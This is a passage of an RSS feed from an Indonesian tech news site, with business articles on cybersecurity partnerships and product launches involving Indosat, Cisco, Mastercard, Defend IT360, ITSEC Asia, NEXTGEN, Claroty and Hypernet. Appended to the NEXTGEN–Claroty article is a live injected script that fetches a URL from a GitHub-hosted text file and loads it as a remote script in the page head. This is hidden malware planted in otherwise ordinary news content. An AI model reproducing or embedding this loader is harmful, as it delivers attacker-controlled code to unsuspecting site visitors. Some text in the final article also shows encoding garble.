<p>Kerjasama ini juga disambut gembira oleh Dave West, President, Asia Pacific, Japan, and Greater China, Cisco yang mengatakan bahwa seiring dengan semakin meluasnya ancaman digital, kemitraan dengan Indosat dan Lintasarta tentunya memiliki peran krusial.</p>



<p>&#8220;Kerjasama ini untuk membangun infrastruktur keamanan siber yang tangguh bagi perusahaan di berbagai sektor. Tidak hanya merevolusi lanskap keamanan siber nasional, tetapi juga memperkuat ketahanan ekonomi Indonesia di tengah dinamika era digital,&#8221; jelas Dave West.</p>



<p>Dengan mengintegrasikan operasi keamanan dan AI, kolaborasi strategis ini memungkinkan industri di Indonesia dapat memperkuat sistem pertahanan siber sekaligus meningkatkan efisiensi operasional.</p>



<p>Selain memperkuat sistem keamanan, inisiatif ini juga menyoroti tantangan besar dalam ketersediaan talenta siber di Indonesia. Berdasarkan data Cisco’s Cybersecurity Readiness Index, sebanyak 97% perusahaan mengakui kekurangan tenaga ahli menjadi hambatan utama.</p>



<p>Bahkan, 59% perusahaan masih memiliki lebih dari 10 posisi terkait keamanan siber yang belum terisi, menegaskan pentingnya upaya berkelanjutan dalam menciptakan talenta profesional yang siap menghadapi ancaman digital yang semakin kompleks.</p>



<p>Di tengah pesatnya perkembangan digital di Indonesia, kebutuhan akan keamanan siber yang andal menjadi semakin krusial. Indosat bersama Cisco juga telah menghadirkan Cisco Networking Academy.</p>



<p>Ini adalah pelatihan keamanan siber nasional dengan lebih dari 520.000 pelajar di Indonesia telah memperoleh peningkatan keterampilan sejak program ini diluncurkan. Tentunya pelatihan ini membuka peluang bagi talenta muda untuk siap menghadapi tantangan di dunia digital.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Defend IT360 Hadir sebagai &#8220;Dokter&#8221; Keamanan Siber</title>
		<link>https://nativzen.com/2024/12/06/defend-it360-hadir-sebagai-dokter-keamanan-siber/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 06 Dec 2024 02:06:42 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[cybercrime]]></category>
		<category><![CDATA[defend it360]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<category><![CDATA[tools keamanan]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=14403</guid>

					<description><![CDATA[Menjawab ancaman digital yang berkembang, Defend IT360 hadir sebagai "dokter" keamanan siber di Indonesia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Menyikapi semakin kompleksnya ancaman siber di era digital, Defend IT360 resmi diluncurkan sebagai solusi keamanan siber yang menyeluruh dan disesuaikan dengan kebutuhan unik bisnis di Indonesia. </p>



<p>Acara peluncuran yang berlangsung di Midaz Senayan Golf, Jakarta (06/12), ini menekankan komitmen Defend IT360 untuk menjadi mitra terpercaya dalam melindungi ekosistem digital dari risiko siber yang terus berkembang.</p>



<p>“Peran kami mencerminkan peran seorang dokter. Kami mendiagnosis masalah melalui Security Check-up, menangani kerentanan dengan solusi yang disesuaikan, dan memantau sistem secara real-time,&#8221; ujar Sudino Oei, CEO Defend IT360.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-1024x576.jpg" alt="" class="wp-image-14405" srcset="https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-2048x1152.jpg 2048w, https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2024/12/Press-Kit_Secure-Your-Digital-Health-with-Defend-IT360_2-740x416.jpg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Ditambahkan oleh Oei bahwa tindakan Security Check-up ini bertujuan untuk memastikan kesehatan digital yang berkelanjutan. Karena itu, fokus Defend IT360  tidak hanya memperbaiki masalah, tetapi juga menjaga stabilitas digital jangka panjang.</p>



<p>Layanan Defend IT360 didesain untuk memenuhi kebutuhan beragam, mulai dari UKM hingga perusahaan besar, dengan pendekatan:</p>



<ol>
<li><strong>Diagnosis (Security Check-up)</strong><em>: </em>Mengidentifikasi kerentanan dan risiko pada infrastruktur digital.</li>



<li><strong>Perawatan (Security Treatment)</strong><em>: </em>Memberikan solusi yang tepat untuk mengatasi ancaman spesifik.</li>



<li><strong>Pemantauan Berkelanjutan (Security Assistant)</strong><em>: </em>Menyediakan deteksi dan respons real-time 24/7 melalui Security Operation Center (SOC) yang modern.</li>
</ol>



<p>Dengan analogi unik sebagai &#8220;dokter,&#8221; Defend IT360 akan menyoroti pentingnya strategi keamanan siber yang proaktif dan komprehensif untuk mengurangi risiko serta mencegah potensi bencana digital yang dialami oleh UKM dan juga perusahaan besar.</p>



<h3 class="wp-block-heading">Inovasi dan Interaksi di Acara Peluncuran</h3>



<p>Acara peluncuran Defend IT360 dirancang secara interaktif dan informatif. Selain menyajikan demonstrasi teatrikal yang mengilustrasikan perlindungan proaktif terhadap ancaman siber, peserta juga diajak untuk menjelajahi booth interaktif. </p>



<p>Booth ini menampilkan berbagai solusi inovatif, seperti penilaian risiko keamanan siber pihak ketiga, deteksi ancaman sesuai kebutuhan bisnis, hingga evaluasi kesiapan sertifikasi ISO. Semua solusi tersebut dirancang untuk memperkuat ketahanan siber organisasi.</p>



<p>Kombinasi elemen-elemen ini memberikan wawasan mendalam kepada peserta tentang pendekatan Defend IT360 dalam menghadirkan solusi keamanan siber yang inovatif, menyeluruh, dan relevan bagi kebutuhan bisnis masa kini.</p>



<h3 class="wp-block-heading">Menjawab Tantangan Siber di Indonesia</h3>



<p>Dalam setahun terakhir, insiden keamanan siber di Indonesia meningkat hingga dua kali lipat, membawa dampak signifikan bagi bisnis dan institusi. Dengan mengintegrasikan teknologi AI dan keahlian manusia, Defend IT360 hadir untuk memberikan solusi yang nyata.</p>



<p>Solusi tersebut tidak hanya teknis tetapi juga relevan dengan kebutuhan spesifik industri. Dengan kata lain, Defend IT360 akan membuka jalan menuju era baru perlindungan siber di Indonesia, memastikan keamanan digital bagi semua lapisan bisnis.</p>



<p>“Banyak bisnis bingung memulai dari mana atau kesulitan memantau sistem mereka secara efektif. Defend IT360 memberikan solusi menyeluruh yang membuat klien dapat fokus pada pengembangan bisnis tanpa rasa khawatir,” pungkas Oei.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kominfo Dukung Indosat dan Mastercard Latih 1 Juta Talenta Keamanan Siber</title>
		<link>https://nativzen.com/2024/09/12/kominfo-dukung-indosat-dan-mastercard-latih-1-juta-talenta-keamanan-siber/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 12 Sep 2024 11:24:33 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[indosat]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<category><![CDATA[kominfo]]></category>
		<category><![CDATA[mastercard]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=11608</guid>

					<description><![CDATA[Indosat dan Mastercard akan memainkan peran penting menggabungkan pengembangan talenta keamanan siber yang kuat.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Sebagai langkah strategis dalam memperkuat ekosistem digital Indonesia, Kementerian Komunikasi dan Informatika Republik Indonesia (Kominfo) telah bekerja sama dengan Cybersecurity Center of Excellence oleh Indosat dan Mastercard Indonesia.</p>



<p>Ya, kolaborasi ini dalam rangka meluncurkan akademi online untuk mempersiapkan satu juta masyarakat Indonesia di bidang keamanan siber. Ini juga sekaligus menandai langkah penting dalam perjalanan Indonesia untuk menjadi ekonomi digital global.</p>



<p>Dengan memanfaatkan platform Digital Talent Scholarship (DTS) milik Kominfo, akademi online ini akan berfokus pada pengembangan pengetahuan dasar dan keterampilan praktis dalam keamanan siber bagi individu dan usaha kecil.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="563" src="https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-1024x563.jpg" alt="" class="wp-image-11609" srcset="https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-1024x563.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-300x165.jpg 300w, https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-768x422.jpg 768w, https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-1536x845.jpg 1536w, https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-370x203.jpg 370w, https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-270x148.jpg 270w, https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-570x313.jpg 570w, https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1-740x407.jpg 740w, https://nativzen.com/wp-content/uploads/2024/09/Cybersecurity-Training-1.jpg 1842w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Vikram Sinha, President Director and CEO Indosat Ooredoo Hutchison</figcaption></figure>



<p>Ini memastikan mereka lebih siap melindungi diri di dunia yang semakin terdigitalisasi. Pada saat yang sama, inisiatif ini juga akan mendorong dan mengasah kemampuan keamanan siber Indonesia baik bagi para profesional yang sudah ada maupun talenta baru.</p>



<p>Indosat dan Mastercard akan memainkan peran penting dengan menggabungkan upaya pengembangan talenta digital yang kuat dari Indosat dengan keahlian Mastercard dalam solusi serta pelatihan keamanan siber yang komprehensif.</p>



<p>Peserta program DTS nantinya akan memperoleh keterampilan penting yang dibutuhkan dalam ekonomi digital saat ini, seperti cara menginventarisasi perangkat, apps dan accounts; menguasai pembaruan perangkat lunak dan keamanan secara online.</p>



<p>“Kemitraan ini menandai tonggak penting dalam pengembangan digital Indonesia. Oleh karena itu, inisiatif ini berkomitmen untuk membangun ekosistem digital yang aman dan tangguh,&#8221; jelas Budi Arie Setiadi, Menteri Komunikasi dan Informatika Republik Indonesia.</p>



<p>Budi Arie juga menambahkan bahwa keamanan siber menjadi bagian penting dari misi ini. Dengan bergabungnya Indosat dan Mastercard, kolaborasi meletakkan fondasi kuat untuk mempersiapkan talenta digital Indonesia menghadapi tantangan yang akan datang.</p>



<p>Sementara itu, Vikram Sinha, President Director and CEO Indosat Ooredoo Hutchison menyebutkan bahwa Indosat percaya jika talenta digital adalah kunci masa depan Indonesia. Karena itu, Indosat merasa terhormat dipercaya untuk mendukung terobosan ini. </p>



<p>&#8220;Bersama dengan Mastercard, kami berkomitmen untuk mempercepat perjalanan Indonesia menuju negara yang maju dan aman secara digital, serta siap bersaing di kancah global. Kami pun yakin bahwa inisitaif ini bakal memenuhi tujuan besar memberdayakan Indonesia,&#8221; jelas Vikram.</p>



<p>Aileen Goh, Country Manager and President Director of Mastercard Indonesia juga menyambut gembira inisiatif ini dan menyebutkan bahwa seiring dengan pertumbuhan ekonomi digital, frekuensi dan cakupan serangan siber juga meningkat. </p>



<p>&#8220;Kejahatan siber diproyeksikan akan merugikan dunia sekitar US$ 13,8 triliun pada tahun 2028. Selain meningkatnya kerentanan, survei global terbaru mengungkapkan bahwa 72% serangan siber di Asia disebabkan oleh kekurangan spesialis terampil di bidang ini,&#8221; ucap Aileen.</p>



<p>Ditambahkan oleh Aileen bahwa Mastercard tentunya sangat senang dapat berkontribusi pada inisiatif penting ini bersama Indosat dan Kementerian Komunikasi dan Informatika. Kolaborasi ini akan membekali talenta Indonesia dengan keilmuan untuk menghadapi ancaman di masa depan.</p>



<p>Kolaborasi ini merupakan bagian dari Cybersecurity Center of Excellence yang diluncurkan oleh Indosat dan Mastercard pada April 2024, yang menggarisbawahi semangat gotong royong dalam memberdayakan tenaga kerja digital Indonesia.</p>



<p>Selain itu, Cybersecurity Center of Excellence juga akan memperkuat posisi bangsa di ranah ekonomi digital dunia. Inisiatif ini menetapkan tolok ukur baru untuk pelatihan keamanan siber dan menjadi model bagi program pengembangan talenta digital Indonesia di masa depan.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>IntelliBroń Hadir Sebagai Solusi Keamanan Siber untuk UKM</title>
		<link>https://nativzen.com/2024/05/31/intellibron-hadir-sebagai-solusi-keamanan-siber-untuk-ukm/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 31 May 2024 00:55:24 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[defend360]]></category>
		<category><![CDATA[hypernet technology]]></category>
		<category><![CDATA[itsec asia]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<category><![CDATA[xl axiata]]></category>
		<category><![CDATA[xlabs]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=8100</guid>

					<description><![CDATA[Perkuat solusi keamanan siber XL Axiata dukung kolaborasi ITSEC Asia - DEFEND IT360 luncurkan solusi "IntelliBroń".]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; PT ITSEC Asia Tbk dengan bangga mengumumkan peluncuran IntelliBroń, &#8220;Your Smart Cybersecurity Companion&#8221;, bekerja sama dengan XL Axiata &amp; Hypernet Technologies, menunjuk DEFEND IT360, sebagai mitra strategis, untuk memasarkan produk tersebut. </p>



<p>IntelliBroń merupakan sebuah sistem keamanan siber yang terintegrasi dalam sebuah jaringan untuk menjadi solusi bagi tantangan cyber security saat ini khususnya bagi Usaha Kecil-Menengah (UKM) di Tanah Air.</p>



<p>Presdir PT ITSEC Asia Tbk, Joseph Edi Hut Lumban Gaol menyatakan bahwa peluncuran IntelliBroń adalah bentuk dari komitmen ITSEC Asia untuk mengembangkan produk layanan keamanan sistem informasi yang dapat dijangkau dan digunakan oleh lebih banyak pihak.</p>



<p>&#8220;Dengan adanya lebih dari 400 juta anomali siber sepanjang tahun 2023 di Indonesia yang diprediksi akan terus meningkat, urgensi dari pembentukan infrastruktur keamanan siber dalam berbagai lapisan sektor industri akan menjadi semakin penting,&#8221; ujar Joseph. </p>



<p>Ditambahkan oleh Joseph bahwa anomali tersebut tidak hanya menyasar korporasi besar, namun juga organisasi kecil maupun individu. Melalui tim Research and Development dari ITSEC Asia, dikembangkanlah solusi keamanan siber yang dirancang bagi pelaku usaha, khususnya UKM.</p>



<p>Nah, untuk memasarkan produk tersebut, ITSEC Asia menggandeng DEFEND IT360 yang merupakan perusahaan penyedia solusi kemanan siber, dan bagian dari Hypernet yang menjadi anak perusahaan XL Axiata.</p>



<p>“Pengalaman kami dalam memahami tantangan keamanan siber yang dihadapi UKM, dari keterbatasan sumber daya hingga ancaman yang berkembang mendorong kami untuk menjalin kerja sama dengan ITSEC Asia,&#8221; ujar CTO Hypernet Technologies, Sudino Oei.</p>



<p>Ditambahkan oleh Sudino bahwa IntelliBroń merupakan solusi keamanan siber yang dirancang untuk memberdayakan UKM, melindungi aset digital mereka dari serangan canggih, dan memberikan ruang lebih untuk inovasi dan pertumbuhan tanpa kekhawatiran. </p>



<p>Sementara itu Chief Enterprise Business Officer XL Axiata, Feby Sallyanto menyampaikan bahwa XL Axiata mendukung penuh langkah strategis DEFEND IT360 sebagai partner ekslusif ITSEC Asia dalam memasarkan solusi keamanan siber bagi UKM ini. </p>



<p>Kolaborasi kedua perusahaan juga sangat strategis bagi XL Axiata Business Solutions (XLABS) dalam memperkuat penyediaan layanan solusi keamanan siber bagi para pelanggan B2B termasuk kalangan UKM yang ada di Indonesia</p>



<p>&#8220;Kami juga percaya bahwa ITSEC Asia merupakan partner yang tepat, mulai karena portofolio lengkap yang dimiliki oleh ITSEC Asia hingga kompetensi tenaga ahli yang dimiliki.Tentunya kerja sama ini akan sama sama saling menguntungkan,&#8221; ujar Feby.</p>



<p>Pada umumnya UKM memiliki keterbatasan tenaga ahli keamanan siber dan juga kurangnya pemahaman organisasi terhadap keamanan siber dan resiko-resiko serangan dunia maya, hal itu membuat sulit untuk mengembangkan proyek sistem keamanan siber di organisasi. </p>



<p>Selain itu, anggaran keamanan yang terbatas juga menjadi tantangan. Ditambah lagi kompleksitas layanan keamanan siber yang tersedia seringkali menjadikan keputusan pengembangan keamanan siber sulit terwujud.</p>



<p>Dalam memilih solusi keamanan siber yang tepat, SME memiliki pilihan yang sangat terbatas. Karena saat ini belum ada solusi cyber security yang dapat memenuhi kebutuhan perusahaan SME secara eksklusif, terutama penyedia jasa keamanan siber yang berbasis lokal. </p>



<p>Berangkat dari permasalahan tersebut, IntelliBroń hadir sebagai jawaban terhadap tantangan yang saat ini tengah dialami oleh industri yang memanfaatkan teknologi digital dalam ekosistem bisnis mereka, terutama bagi market SME alias UKM.</p>



<p>Head of Research &amp; Development PT ITSEC Asia Tbk, Rasyid Sahputra menyampaikan bahwa fitur yang disematkan dalam IntelliBroń bukan hanya merupakan fitur-fitur mainstream, namun juga fitur terkini seperti Artificial Intelligence (AI) dan Machine Learning. </p>



<p>&#8220;IntelliBroń telah mengadopsi berbagai fitur yang diperlukan dalam menciptakan ekosistem siber yang aman, seperti AI dan Machine Learning yang dapat membedakan antara aktivitas sistem dan data traffic perusahaan, dengan aktivitas siber yang mencurigakan,&#8221; ujar Rasyid.</p>



<p>IntelliBroń merupakan sebuah perangkat sistem keamanan siber dan peringatan dini yang dapat mendekteksi anomali siber yang mencurigakan melalui monitoring system (dashboard) bernama Bellatrix, dan Network Threat Detector (Hardware) yang dinamakan Rigel. </p>



<p>Dashboard sendiri adalah fitur dimana seorang pegawai IT melakukan monitoring dan analisa dari aktivitas mencurigakan yang berhasil terdeteksi, serta melakukan pencatatan atas respon yang dapat dilakukan. </p>



<p>Sedangkan Threat Detector adalah hardware yang dipasang di dalam jaringan milik pengguna IntelliBroń untuk membaca, menganalisa dan mendeteksi aktivitas yang lewat dalam jaringan, baik itu antar internal atau dengan pihak eksternal.</p>



<p>Secara sederhana, IntelliBroń bekerja dengan cara memantau seluruh aktivitas siber dan data traffic yang ada dalam perusahaan, dan mengirimkan notifikasi secara real-time apabila ditemukan adanya aktivitas siber yang mencurigakan. </p>



<p>Dengan adanya teknologi AI di dalam IntelliBroń, anggota perusahaan yang tidak memiliki tim spesialisasi di bidang cybersecurity juga dapat mengetahui secara langsung terkait langkah mitigasi dari serangan siber. </p>



<p>Teknologi AI yang disematkan dalam IntelliBroń juga memilki sistem pembelajaran mandiri karena telah di-program dengan informasi terkait aktivitas siber mencurigakan yang dapat diantisipasi. </p>



<p>Layaknya CCTV, IntelliBroń akan mendeteksi aktivitas atau traffic siber dalam sistem perusahaan. Apabila muncul kejanggalan berdasarkan database yang ada, maka IntelliBroń akan segera mengirim notifikasi yang dapat membantu SME untuk menentukan langkah pencegahannya.</p>



<p>&#8220;IntelliBroń hadir untuk dapat menjawab tantangan keamanan siber yang dihadapi oleh UKM. Kehadiran IntelliBroń diharapkan dapat mendukung kinerja seluruh UKM di Indonesia untuk dapat terus beroperasi dengan dukungan infrastruktur digital yang lebih aman,&#8221; pungkas Joseph.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>NEXTGEN Group dan Claroty Menjalin Kerjasama Distribusi</title>
		<link>https://nativzen.com/2024/03/22/nextgen-group-dan-claroty-menjalin-kerjasama-distribusi/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 21 Mar 2024 22:07:55 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[claroty]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<category><![CDATA[kerjasama distribusi]]></category>
		<category><![CDATA[nextgen]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=5092</guid>

					<description><![CDATA[Ancaman siber yang semakin meningkat membuat NEXTGEN dan Claroty bekerjasama untuk menyediakan solusi komprehensif.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; NEXTGEN dan Claroty, perusahaan Cyber-Physical Systems (CPS) protection telah memulai kerjasama distribusi dan melebarkan layanan perlindungan siber di pasar Indonesia, Singapura, Malaysia, dan Filipina.</p>



<p>Sejumlah perusahaan di Asia Tenggara saat ini tengah menghadapi ancaman siber yang semakin marak. Ini menyebabkan kebutuhan akan solusi keamanan siber yang efektif dan komprehensif juga semakin meningkat. </p>



<p>Claroty merupakan sebuah produk dengan solusi yang selangkah lebih maju, sehingga mampu memberikan tingkat visibilitas dan perlindungan yang luar biasa untuk berbagai jenis sistem siber-fisik dalam Extended IoT (XIoT). </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="684" src="https://nativzen.com/wp-content/uploads/2024/03/IMG_1-1024x684.jpg" alt="" class="wp-image-5094" srcset="https://nativzen.com/wp-content/uploads/2024/03/IMG_1-1024x684.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/03/IMG_1-300x200.jpg 300w, https://nativzen.com/wp-content/uploads/2024/03/IMG_1-768x513.jpg 768w, https://nativzen.com/wp-content/uploads/2024/03/IMG_1-1536x1027.jpg 1536w, https://nativzen.com/wp-content/uploads/2024/03/IMG_1-370x247.jpg 370w, https://nativzen.com/wp-content/uploads/2024/03/IMG_1-270x180.jpg 270w, https://nativzen.com/wp-content/uploads/2024/03/IMG_1-570x381.jpg 570w, https://nativzen.com/wp-content/uploads/2024/03/IMG_1-740x495.jpg 740w, https://nativzen.com/wp-content/uploads/2024/03/IMG_1.jpg 1616w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Seperti dijelaskan oleh Derek Teo, Distribution Sales and Strategic Alliance Director APJ Claroty bahwa kombinasi dari kerjasama di ekosistem keamanan siber antara NEXTGEN dan Claroty yang hadir dengan platform Cyber Physical System sebagai platform unggulan.</p>



<p>&#8220;Kolaborasi yang kami bangun bersama dengan NEXTGEN ini memungkinkan lebih banyak perusahaan yang mampu melindungi lingkungan XIoT mereka yang lebih kompleks dengan efektif dan efisien, pada tingkat visibilitas yang tak tertandingi,&#8221; ujar Derek.</p>



<p>DItambahkan oleh Derek bahwa Claroty sangat antusias untuk bekerjasama dengan NEXTGEN guna memperluas kehadirannya di Asia Tenggara, melebarkan distribusi dan Managed Security Service Provider (MSSP), serta menyambut NEXTGEN ke dalam Claroty FOCUS Partner Program.  </p>



<p>Di era industry 5.0, perusahaan dan individu sudah bekerja berdampingan dengan teknologi yang mampu bekerja lebih efektif dengan teknologi Internet of Things (IoT) sebagai pelengkap rangkaian solusi keamanan siber. </p>



<p>Kemampuan go-to-market NEXTGEN Group di pasar Indonesia, Singapura, Malaysia, dan Filipina merupakan sebuah pondasi yang memudahkan Claroty untuk menyediakan solusi XIoT yang komprehensif bagi industri manufaktur, kesehatan, dan komersial. </p>



<p>&#8220;Kolaborasi antara NEXTGEN dengan Claroty hadir pada saat yang krusial di tengah keberadaan ancaman keamanan siber yang berkembang pesat. Dengan kehadiran Claroty, kami siap untuk Change The Channel,&#8221; ujar Sanny Hadinata, Managing Director NEXTGEN Indonesia.</p>



<p>Sementara itu, Wendy O’Keeffe, EVP Asia NEXTGEN juga mengungkapkan kegembiraannya untuk membawa solusi terbaik dan saling melengkapi untuk mengamankan Cyber Physical System bagi para pengguna.</p>



<p>&#8220;Dua tahun terakhir dapat kita lihat peningkatan signifikan bagi hubungan antara keamanan IT dan solusi Cyber Physical System, dan NEXTGEN sangat antusias dapat membawa tidak hanya yang terbaik namun juga solusi yang saling melengkapi,&#8221; ujar O&#8217;Keeffe.</p>



<p>Ditambahkan oleh O&#8217;Keefee bahwa kebutuhan keamanan siber yang berbeda kini telah muncul untuk industri vertikal seperti kesehatan, minyak dan gas, serta transportasi. Keahlian domain dari Claroty mampu mencakup lebih dari 40 sektor.</p>



<p>&#8220;Kerjasama ini juga mengisyaratkan bahwa klien kami bisa mendapatkan sebuah rangkaian solusi yang belum pernah hadir di Cyber Physical System assets pada XIoT tanpa mempengaruhi cara kerjanya, dan dengan respon yang lebih efektif dan efisien,&#8221; tutup O’Keeffe.</p>



<p>Sebagai kesimpulan, Kerjasama ini memanfaatkan kemampuan dari solusi Claroty dalam keamanan Cyber Physical System, dan kemampuan go-to-market NEXTGEN Group, menciptakan sebuah aliansi yang strategis untuk memenuhi kebutuhan berbagai perusahaan.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Keamanan Siber Jadi Strategi Kunci Hypernet Songsong 2024</title>
		<link>https://nativzen.com/2023/12/08/keamanan-siber-jadi-strategi-kunci-hypernet-songsong-2024/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 08 Dec 2023 13:21:52 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[hypernet]]></category>
		<category><![CDATA[keamanan siber]]></category>
		<category><![CDATA[layanan terkelola]]></category>
		<category><![CDATA[manage service provider]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=1531</guid>

					<description><![CDATA[Hypernet akan membantu pelaku usaha untuk mendapatkan layanan identifikasi, proteksi, deteksi, respons, hingga pemulihan dalam satu tempat.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Sepanjang 2023 ekonomi digital Indonesia mengalami peningkatan pesat dan diproyeksikan bakal terus tumbuh pada tahun depan. Di sisi lain, masih ada beberapa hambatan yang dihadapi oleh pelaku usaha dalam mengadopsi teknologi digital.</p>



<p>Oleh karena itu, penyedia layanan terkelola atauÂ managed services providerÂ (MSP) di Tanah Air tentunya memainkan peran penting guna memastikan bahwa pelaku usaha agar tetap mendapatkan akses yang sama terhadap teknologi yang mumpuni.</p>



<p>Ini ditegaskan oleh Nailul Huda, Direktur Ekonomi Digital Center of Law and Economic Studies (Celios) pada sesiÂ media briefingÂ yang juga dihadiri Sudianto Oei, CEO Hypernet Technologies danÂ Sudino Oei, Chief Technology Officer Hypernet Technologies,Â Jumat (8/12).</p>



<p>&#8220;Pertumbuhan ekonomi digital Indonesia antara lain didukung penetrasi internet dan adopsi digital yang cukup meningkat signifikan dalam beberapa tahun terakhir. Meski demikian, ada sejumlah tantangan utama yang dihadapi, salah satunya keamanan siber,&#8221; jelas Nailul.</p>



<p>Beberapa elemen keamanan siber yang masih harus ditingkatkan, menurut Nailul, meliputi proteksi pada layanan-layanan digital yang banyak dinikmati masyarakat serta kontribusi terhadap ekosistem keamanan global.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-1024x576.jpg" alt="" class="wp-image-1532" srcset="https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-2048x1152.jpg 2048w, https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2023/12/Sudianto-Oei-CEO-Hypernet-Technologies-740x416.jpg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Apa yang dikatakan oleh Nailul juga diamini oleh Sudianto Oei saat berbicara dihadapan sejumlah media. Dia mengatakan bahwa sejumlan pencapaian Hypernet sepanjang tahun ini selaras dengan fakta pertumbuhan ekonomi digital di Tanah Air. </p>



<p>â€œTercatat pada 2023, Hypernet telah melayani lebih dari 4 ribu pelanggan dari beragam sektor industri serta skala bisnis. Kami juga akan meneruskan komitmen kami terhadap pemberdayaan ekonomi digital Indonesia pada 2024,&#8221; ucap Sudianto Oei.</p>



<p>Lebih lanjut, Sudianto Oei juga menjabarkan bahwa Hypernet punya slogan &#8220;Terima Beres&#8221;. Artinya, para pelaku usaha untuk fokus penuh kepada urusan bisnis, sementara Hypernet yang menyelesaikan semua urusan terkait TIK.</p>



